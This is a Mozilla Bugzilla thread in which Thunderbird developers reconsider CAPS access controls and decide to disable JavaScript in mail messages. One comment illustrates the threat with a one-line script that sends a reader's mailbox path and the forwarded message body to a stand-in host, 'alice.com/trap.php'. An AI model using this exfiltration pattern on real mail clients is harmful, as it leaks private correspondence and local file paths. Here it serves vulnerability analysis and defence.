Closed Bug 453928 Opened 16 years ago Closed 15 years ago

Reevaluate MailNews use of CAPS

Categories

(MailNews Core :: Security, defect)

defect
Not set
normal

Tracking

(Not tracked)

RESOLVED FIXED
Thunderbird 3.0b2

People

(Reporter: bzbarsky, Assigned: dmosedale)

References

()

Details

Right no Thunderbird uses CAPS to prevent a bunch of properties from being accessed.  This only matters if the user enables JS in mail messages.

We should reevaluate this, for several reasons:

1)  The list of CAPS noAccess preferences involved is not maintained.  It's not
    obvious to me that the things on it need blocking any more than various
    other stuff that's been added in the last 8 years or so, or was around even
    before that.
2)  With the checkin for bug 407216, there is no guarantee that
    CheckPropertyAccessImpl will happen for a given XPConnectified property,
    because we might be quickstubbing it instead of going through XPConnect. 
    In steady state, we won't be calling CheckPropertyAccessImpl on _anything_
    other than cross-origin wrappers, I hope.  Which means that even the
    existing CAPS pres Thunderbird uses probably don't work on trunk.

So the questions that we need to answer are:

* Does Thunderbird still need some sort of per-property-access-denial setup?
* If it does, how should it work so as to not affect performance of other Gecko
  apps (e.g. browsers)?
* What should Seamonkey be doing?

One option is to just disable quickstubs in Thunderbird and Seamonkey, but that doesn't seem that appealing to me, honestly (as well as meaning that they can't run off the same XULRunner as Firefox).  But I guess we should start by answering the first question above: do we still need something like this?

One obvious option
Flags: blocking-thunderbird3?
Summary: Reevaluate Thunderbird's use of CAPS → Reevaluate mailnews use of CAPS
At the very least, making sure we're not now open to any of the blatant things from bug 66938 and bug 84545 that the prefs threaten you with if you touch them should block b1. And despite *saying* that anyone who enables JS in mailnews deserves all the pwnage they get, I'm tempted to say we should disable quickstubs in Tb, like before the next nightly, and then reenable them when we feel safer about doing so.
Flags: blocking-thunderbird3?
Flags: blocking-thunderbird3.0b1+
Flags: blocking-thunderbird3+
Target Milestone: --- → Thunderbird 3.0b1
Version: unspecified → Trunk
My blunt take on this issue is in bug 453943.  The idea of not making Tb as fast as possible to preserve a risky and very marginal use case doesn't make sense to me.  Someone will undoubtedly correct me where I go off the rails.
The biggest problem with "wiretap" involved seeing the text of replies and forwards, right?  Do we at least make sure to strip out scripts from inline reply/forward messages?
Since it's a PITA to figure out what those bugs were actually about, the short version:

Naughty Alice sends mail to Bob, knowing Bob will forward it to Charlie. She wants to do two things: find out things she shouldn't know about Bob's and Charlie's systems, and find out what text Bob adds to the forwarded mail. To find out secrets (the imap:// or mailbox:// URI), her best bet is baseURI, since every node has one, so she just gets the baseURI for an empty div and appends it to an expando property on it - in Charlie's case, after he filtered it, mailbox://Users/Charlie/.../Profiles/ugh3uiwek.default/Mail/Foo/MailFromSnookums, who knew he felt that way about Bob?

Bob doesn't trust Alice, so he's not going to load any remote content in a message from her, but Charlie trusts Bob, so when the message gets to him, he automatically loads the |foo = new Image(); foo.src = "alice.com/trap.php?secrets=" + mydiv.expando + "&content=" + body[0].innerHTML| image.

I'm more than willing to believe we let some obscure way of getting at text content slip in over the years, but right now that simplest version (as extracted from a Wayback Machine archive of a 1998 GeoCities page) works perfectly in nightlies, for the first time since Netscape 6.01.

The problem with stripping script (which was discussed back then, but not done as far as I know) is that we don't get to control which of those people uses us: even if we do strip on forward, if Bob uses another client, even one with JS disabled, when Charlie's copy of Tbird gets Bob's inline forward it doesn't know what part is Alice's and what part is Bob's.
> her best bet is baseURI,

How about document.documentURI (added in DOM3, not blacklisted in all.js because we haven't touched these prefs in a decade)?

I think comment 2 is right on the money, esp if other mail clients don't support this.  We should just disable script in mailnews, period.
3.0b1 flag is going away in favour of 3.0 flag and milestone combination.
Flags: blocking-thunderbird3.0b1+
(In reply to comment #5)

> How about document.documentURI (added in DOM3, not blacklisted in all.js
> because we haven't touched these prefs in a decade)?

Not officially, but I've touched them locally, disabling 5 or 6
  
> I think comment 2 is right on the money, esp if other mail clients don't
> support this.  We should just disable script in mailnews, period.

But other mail clients do, in fact OE (latest version)
And have some very active newsgroups involved with stationery and scripting.
Assignee: nobody → bienvenu
Blocks: 453943
Given the changes in bug 453943 which have temporarily disabled js in mailnews, for beta 1, this can be moved out to look at again in the beta 2 cycle.
Target Milestone: Thunderbird 3.0b1 → Thunderbird 3.0b2
Depends on: 458883
In the short term, I wonder how easy it would be to quickstub chrome but not content in mailnews...  Jason, is there a way we could skip quickstubbing based on some property of the global (or DOMWindow or XPConnect scope or whatever), basically?  If so, it'd just be a matter of making this property fast to get, I would think.
Blocks: 456481
Assignee: bienvenu → dmose
Dan, is there a reason to keep this on the b1 blocker list, given that bug 453943 is on the list? The identified work is actually going to happen in that bug, right?
Whiteboard: [eta thurs eve pacific]
Whiteboard: [eta thurs eve pacific] → [ready for review thurs eve pacific]
moved to b2
Target Milestone: Thunderbird 3.0b1 → Thunderbird 3.0b2
Just now saw comment 9.

Yes, it could be done.  In nsDOMClassInfo::PostCreatePrototype, make the call to DefineDOMQuickStubs happen only if (weAreNotThunderbird() || globalIsChrome(JS_GetParent(proto))).  Make weAreNotThunderbird() really fast so that other apps aren't significantly penalized.

Completely banning JS in email and feeds seems better.
(In reply to comment #12)
> Completely banning JS in email and feeds seems better.

Yes, please. I've urged making JS off by default since early days at Netscape, to avoid the zero-cost store-and-forward network effect combined with JS security bug exploit horror (viz, Outlook VBA worms). At this point, why not make JS in mail impossible to enable? It's foolish to enable it and pretend to be secure by using the old CAPS property-based access controls.

/be
(In reply to comment #13)
> (In reply to comment #12)
> > Completely banning JS in email and feeds seems better.
> 
> Yes, please. I've urged making JS off by default since early days at Netscape,
> to avoid the zero-cost store-and-forward network effect combined with JS
> security bug exploit horror (viz, Outlook VBA worms). At this point, why not
> make JS in mail impossible to enable? It's foolish to enable it and pretend to
> be secure by using the old CAPS property-based access controls.
> 
> /be

From the standpoint of Mail, and the average user, I probably agree.
But, there is more than just Mail in Thunderbird and SeaMonkey.

Opt-in RSS feeds and Newsgroup subscriptions should be considered also.
Although, you might make a case that the uneducated user might make the same mistakes there.

Ban JS in Mail if you must, but please make it available for those that know the dangers, but still want to enjoy it's riches in controlled, trusted settings.
Well the JS evaluation is bug 453943. I'd think js should work for feeds.
feeds don't have the host of issues e-mail does (forwarding, for crying out loud), so the policy there can certainly be very different.
In Thunderbird, feed articles are read in the same message pane/window as regular mail messages, so isn't e.g. forwarding also an issue here?
Can you forward the feed article?
Yes, which is why a solution is going to have to deal based on where a message currently is (which I think is one reason why the bug where work is actually going on is taking the decision away from SSM and putting it into the app, rather than having to tell SSM "this mail folder is mail, and this mail folder is not"): you can forward feed articles, which means if your recipient is crazy enough to enable JS in mail we'll give away your profile directory and anything you say about what you forwarded (though the latter is the same risk you have with anything you forward), or you can have a filter which moves feed articles into a mail folder, in which case if the "safe" attribute was attached to the item rather than the parent displaying it, we would give away not just your profile directory, but also the name of a mail server (which ought to fairly often give you "/Users/philringnalda/.../imap.gmail.com/" from which to construct an address, once you find a way to inject script into comments, or pwned blogs, or forum posts, to let you attack people who believe RSS is safe because it's opt-in).

In the absence of CAPS to let us deny access to the document URI, I'm not actually sure how we prevent spewing out your profile location: maybe serialize to a data URI, and load that as the source of an iframe? Can an iframe find out its parent's URI?
> Can an iframe find out its parent's URI?

Only if they're same-origin (though with data: URIs you have to be a little careful about that).
So a bunch of moz hackers (me, bienvenu, Std8, bz, sicking, jst, mrbkap, a few other folks) had a meeting a while ago about this and came to some consensus around what we thought was a fairly sane policy.  I was supposed to document that and link to it from the appropriate bugs including this one.  Unfortunately, other things intruded, and I haven't yet done that.  I'll do that tomorrow (Friday), as well as summarize the status of the patches I've got and how I think we should move forward with them.
> if your recipient is crazy enough to enable JS in mail

There is no hypothetical "if" about this. Complaints in the support.thunderbird newsgroup indicates that there are in existence "crazy" people subscribed to and/or authoring mailing lists with rich (including js) content. Naturally these people are extremely displeased at JS being disabled in the current nightly builds.
Blocks: 463155
Depends on: 374577
Whiteboard: [ready for review thurs eve pacific] → [needs update dmose][will be fixed as part of bug 374577]
Removing the blocking flag, as the work related to this bug is being done in bug 374577 (which has patches, but needs some updating), which already blocks.  Having two bugs representing the same set of work in the blocking list just makes managing that list harder.
Flags: blocking-thunderbird3+
Summary: Reevaluate mailnews use of CAPS → Revise message CAPS policies; enable JS for non-message content by default; remove javascript.allow.mailnews hack from script security mgr
Summary: Revise message CAPS policies; enable JS for non-message content by default; remove javascript.allow.mailnews hack from script security mgr → Reevaluate MailNews use of CAPS
No longer blocks: 463155
First, a summary of the meeting that I previously mentioned and the work that followed it:

In early November, a bunch of folks, some of whom I'm probably forgetting, including Standard8, dveditz, jst, sicking, mrbkap, bienvenu, bz, davida, and me met to figure out what to do.  We ultimately came to a number of conclusions:

* we could live with prefs (mostly defaulted to off) that folks who were tolerant of high degrees of risk could turn on, similar to the way [ codebase principal support <http://www.mozilla.org/projects/security/components/jssec.html> works.

* support javascript in web-content pointed to by feeds was likely an important use case, and one that we would ideally default to on, because:
** more and more blogs are embedding JS-based web widgetry of various sorts
** we could display that content in a browser-like context, which is well understood and supported by Gecko for handling JS with appropriate risk-mitigation features
**feeds need to be explicitly opted into, which makes their risk profile very slightly safer than sources of arbitrary messages (though very much not risk-free, as philor has pointed out)

* we should turn off JS/XBL in the compose window entirely
* we should notice when the user flips any of the prefs to on, and at the very least point them to some web-content describing what risks they were taking
* we should audit that forwarding messages disables or strips any script

After that, I spent a bunch of time hacking, and came up with the patches in bug 374577, which are reviewed and need a bit more cleanup.  There is one patch for mozilla-central, and one for comm-central, but there are really three pieces of functionality:

* adds code to nsMsgContentPolicy so that docshells loading message URLs turn off JS at the start of the load
* once the message load is sufficiently far along, a preference is checked to see if JS should be allowed for messages that were "first seen" in a specific context (one of nntp, mail, feed-summary, feed-summarized-page) and, if so, reenabled
* removes the special-casing of mailnews from nsScriptSecurityManager, since the above two hunks obviate the need for it.  Note that unlike before, loads that aren't message URLs now allow JS by default.  This is important for extensions that want to integrate with the web in interesting ways (eg displaying web pages in iframes).

Unless I've misremembered something, that's where we sit today.  However, I think that the summarized strategy has some of the problems alluded to earlier on this bug.  In a bit, I'll post details on how I think we should move forward.
It's become clear to me that the store and forward problems discussed in comments 4, 13, and 19 here mean that the approach used in the patches I have been working on in bug 374577 isn't good enough.

Our original plan was predicated on the theory that we could come up with a model of diffusing risk based on the "first seen context"; if we ship with that even though we know it's deficient, we'd be accepting a bunch more code complexity that still fails to properly model the situation, which is a recipe for more bugs, security holes, and code that's difficult to maintain.  Furthermore, it's easy to see the benefits of flipping the pref, but it requires significant investment of time to have any sort of understanding of the risks.  This means that the economics of making the pref-flipping choice will bias the wrong way, which is just setting our users up for failure.

It's conceivable that we could do even more work in an attempt to figure out technical solutions to the remaining issues.  We have a lot of work that we want to do for Thunderbird 3 and future versions, and our core developers and reviewers have a limited number of waking hours available to them.  If we choose to keep these preferences as part of the core, we are explicitly signing up to invest some of those hours in maintaining this code, which gratifies a small number of people who are willing to hand-tweak prefs for high-risk situations.  If we don't do that, however, those hours can be put towards code that helps much much larger groups of people with more common use cases.

As a result of all this, I believe the right path forward looks like this:

* completely disallow execution of JS in messages by removing the relevant prefs
* allow execution of JS with all the normal restrictions in web-like contexts by default.  We currently have very few such uses in Thunderbird; we should audit them for safety, since this is a change from tb2.  The important reason to allow this is so that extension authors can explore interesting sorts of integration with Web 2.0 stuff inside of Thunderbird.

I believe that there are valid use cases surrounding JS web-pages pointed to by feed summaries.  For tb3, they will continue to be loaded in an iframe inside a message, so they will continue to have JS disabled (as in tb2).  Sometime down the road, we should change the feed code to load those in more web-like contexts.  In the tb3 timeframe, someone could do this in an extension, I suspect.

I believe there are valid use cases in and around richer content in messages.  Storing and forwarding JS is the wrong path to address these use cases, at least as currently framed.  I hope that extension developers will take this change as an opportunity to explore other options.

I understand that some people won't be happy with this decision, and those folks do have an option: after the relevant patches to implement this policy land, it should be possible to maintain a separate fork of nsMsgContentPolicy.cpp which implements some other security policy (e.g. the option 2 patch in bug 374577) and ship it as an add-on.

I've posted a copy of this comment to m.d.a.t as well, and my hope is that folks visiting this bug as a result will do the right thing and confine advocacy comments that forum, leaving Bugzilla for technical discussion.
Fixed by bug 374577.
Status: NEW → RESOLVED
Closed: 15 years ago
Resolution: --- → FIXED
Whiteboard: [needs update dmose][will be fixed as part of bug 374577]
You need to log in before you can comment on or make changes to this bug.